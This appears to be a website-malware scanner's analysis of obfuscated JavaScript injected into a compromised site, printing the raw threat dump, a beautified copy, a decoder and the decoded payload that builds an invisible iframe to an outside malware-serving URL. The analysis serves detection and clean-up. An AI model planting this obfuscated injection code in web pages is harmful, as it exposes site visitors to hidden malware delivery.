Obfuscated JavaScript generates iframe to Blacklisted website
This sort of suspicious obfuscated JavaScript code is used to build malicious iframe that is not visible to the website visitor but identified by
Online Website Malware Scanner. In case of this website the suspicious JavaScript code is injected in
59 files. Multiple redundant "IF" statements and levels of obfuscation is used to by-pass the detection mechanisms and finally call to
eval() for evaluation of malicious action. The invocation of
eval() is
, also, passed through several variables to make it harder to identify. Malicious iframes are usually utilized to distribute malware from external web resources(websites).
Submission date: Tue Mar 26 18:47:55 2013
 |
| Snapshot from Quttera's online Website Malware Scanner: |
Threat dump:
[[ff=String;fff="fromCharCode";ff=ff[fff];zz=3;try{document.body%26=5151}catch(gdsgd){v="eva"+"l";if(document)try{document.body=12;}catch(gdsgsdg){vzs=0;try{document;}catch(q){vzs=1;}}if(!vzs)e=window[v];if(1){f=new Array(050,0146,0165,0156,0143,0164,0151,0157,0156,040,050,051,040,0173,015,012,040,040,040,040,0166,0141,0162,040,0153,0170,040,075,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0143,0162,0145,0141,0164,0145,0105,0154,0145,0155,0145,0156,0164,050,047,0151,0146,0162,0141,0155,0145,047,051,073,015,012,015,012,040,040,040,040,0153,0170,056,0163,0162,0143,040,075,040,047,0150,0164,0164,0160,072,057,057,0167,0167,0167,056,0160,0145,0162,0163,0157,0156,0141,0154,055,0146,0151,0164,0156,0145,0163,0163,055,0142,0154,0157,0147,056,0144,0145,057,0143,0154,0151,0143,0153,0145,0162,056,0160,0150,0160,047,073,015,012,040,040,040,040,0153,0170,056,0163,0164,0171,0154,0145,056,0160,0157,0163,0151,0164,0151,0157,0156,040,075,040,047,0141,0142,0163,0157,0154,0165,0164,0145,047,073,015,012,040,040,040,040,0153,0170,056,0163,0164,0171,0154,0145,056,0142,0157,0162,0144,0145,0162,040,075,040,047,060,047,073,015,012,040,040,040,040,0153,0170,056,0163,0164,0171,0154,0145,056,0150,0145,0151,0147,0150,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0153,0170,056,0163,0164,0171,0154,0145,056,0167,0151,0144,0164,0150,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0153,0170,056,0163,0164,0171,0154,0145,056,0154,0145,0146,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0153,0170,056,0163,0164,0171,0154,0145,056,0164,0157,0160,040,075,040,047,061,0160,0170,047,073,015,012,015,012,040,040,040,040,0151,0146,040,050,041,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0153,0170,047,051,051,040,0173,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0167,0162,0151,0164,0145,050,047,074,0144,0151,0166,040,0151,0144,075,0134,047,0153,0170,0134,047,076,074,057,0144,0151,0166,076,047,051,073,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0153,0170,047,051,056,0141,0160,0160,0145,0156,0144,0103,0150,0151,0154,0144,050,0153,0170,051,073,015,012,040,040,040,040,0175,015,012,0175,051,050,051,073);}w=f;s=[];if(window.document)for(i=2-2;-i+473!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]);}xz=e;if(window.document)if(v)xz(s)}]]
Beautified script
ff = String;
fff = "fromCharCode";
ff = ff[fff];
zz = 3;
try {
document.body % 26 = 5151
} catch (gdsgd) {
v = "eva" + "l";
if (document) try {
document.body = 12;
} catch (gdsgsdg) {
vzs = 0;
try {
document;
} catch (q) {
vzs = 1;
}
}
if (!vzs) e = window[v];
if (1) {
f = new Array(050, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 050, 051, 040, 0173, 015, 012, 040, 040, 040, 040, 0166, 0141, 0162, 040, 0153, 0170, 040, 075, 040, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0143, 0162, 0145, 0141, 0164, 0145, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 050, 047, 0151, 0146, 0162, 0141, 0155, 0145, 047, 051, 073, 015, 012, 015, 012, 040, 040, 040, 040, 0153, 0170, 056, 0163, 0162, 0143, 040, 075, 040, 047, 0150, 0164, 0164, 0160, 072, 057, 057, 0167, 0167, 0167, 056, 0160, 0145, 0162, 0163, 0157, 0156, 0141, 0154, 055, 0146, 0151, 0164, 0156, 0145, 0163, 0163, 055, 0142, 0154, 0157, 0147, 056, 0144, 0145, 057, 0143, 0154, 0151, 0143, 0153, 0145, 0162, 056, 0160, 0150, 0160, 047, 073, 015, 012, 040, 040, 040, 040, 0153, 0170, 056, 0163, 0164, 0171, 0154, 0145, 056, 0160, 0157, 0163, 0151, 0164, 0151, 0157, 0156, 040, 075, 040, 047, 0141, 0142, 0163, 0157, 0154, 0165, 0164, 0145, 047, 073, 015, 012, 040, 040, 040, 040, 0153, 0170, 056, 0163, 0164, 0171, 0154, 0145, 056, 0142, 0157, 0162, 0144, 0145, 0162, 040, 075, 040, 047, 060, 047, 073, 015, 012, 040, 040, 040, 040, 0153, 0170, 056, 0163, 0164, 0171, 0154, 0145, 056, 0150, 0145, 0151, 0147, 0150, 0164, 040, 075, 040, 047, 061, 0160, 0170, 047, 073, 015, 012, 040, 040, 040, 040, 0153, 0170, 056, 0163, 0164, 0171, 0154, 0145, 056, 0167, 0151, 0144, 0164, 0150, 040, 075, 040, 047, 061, 0160, 0170, 047, 073, 015, 012, 040, 040, 040, 040, 0153, 0170, 056, 0163, 0164, 0171, 0154, 0145, 056, 0154, 0145, 0146, 0164, 040, 075, 040, 047, 061, 0160, 0170, 047, 073, 015, 012, 040, 040, 040, 040, 0153, 0170, 056, 0163, 0164, 0171, 0154, 0145, 056, 0164, 0157, 0160, 040, 075, 040, 047, 061, 0160, 0170, 047, 073, 015, 012, 015, 012, 040, 040, 040, 040, 0151, 0146, 040, 050, 041, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0147, 0145, 0164, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 0102, 0171, 0111, 0144, 050, 047, 0153, 0170, 047, 051, 051, 040, 0173, 015, 012, 040, 040, 040, 040, 040, 040, 040, 040, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0167, 0162, 0151, 0164, 0145, 050, 047, 074, 0144, 0151, 0166, 040, 0151, 0144, 075, 0134, 047, 0153, 0170, 0134, 047, 076, 074, 057, 0144, 0151, 0166, 076, 047, 051, 073, 015, 012, 040, 040, 040, 040, 040, 040, 040, 040, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0147, 0145, 0164, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 0102, 0171, 0111, 0144, 050, 047, 0153, 0170, 047, 051, 056, 0141, 0160, 0160, 0145, 0156, 0144, 0103, 0150, 0151, 0154, 0144, 050, 0153, 0170, 051, 073, 015, 012, 040, 040, 040, 040, 0175, 015, 012, 0175, 051, 050, 051, 073);
}
w = f;
s = [];
if (window.document) for (i = 2 - 2; - i + 473 != 0; i += 1) {
j = i;
if ((031 == 0x19)) if (e) s = s + ff(w[j]);
}
xz = e;
if (window.document) if (v) xz(s)
}
Simplified version of detected web threat
f = new Array(050, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 040, 050, 051, 040, 0173, 015, 012, 040, 040, 040, 040, 0166, 0141, 0162, 040, 01
w = f;
s = [];
for (i = 2 - 2; - i + 473 != 0; i += 1) {
s = s + String.fromCharCode(w[i]);
}
s = s.replace(/&/g,"&");
s = s.replace(/</g,"<");
s = s.replace(/>/g,">");
document.write("<pre><code>" + s + "</code></pre>");
Detected payload
(function () {
var kx = document.createElement('iframe');
kx.src = 'http://www.personal-fitness-blog[.]de/clicker[.]php';
kx.style.position = 'absolute';
kx.style.border = '0';
kx.style.height = '1px';
kx.style.width = '1px';
kx.style.left = '1px';
kx.style.top = '1px';
if (!document.getElementById('kx')) {
document.write('<div id=\'kx\'></div>');
document.getElementById('kx').appendChild(kx);
}
})();
URL targeted by generated iframe
There were actually several URLs and they changed each time to a new one. Here are some that we detected:
- http://www.personal-fitness-blog[.]de/clicker[.]php
- http://prolocomilazzo[.]it/dtd[.]php
Blacklisting status
Yandex via Sophos: http://www.yandex.com/infected?url=personal-fitness-blog.de&l10n=en
Snapshot:
Malware clean-up
Such malware is often hidden inside the JavaScript file. If you were infected by similar malware please use one of accounts here for remediation assessment.
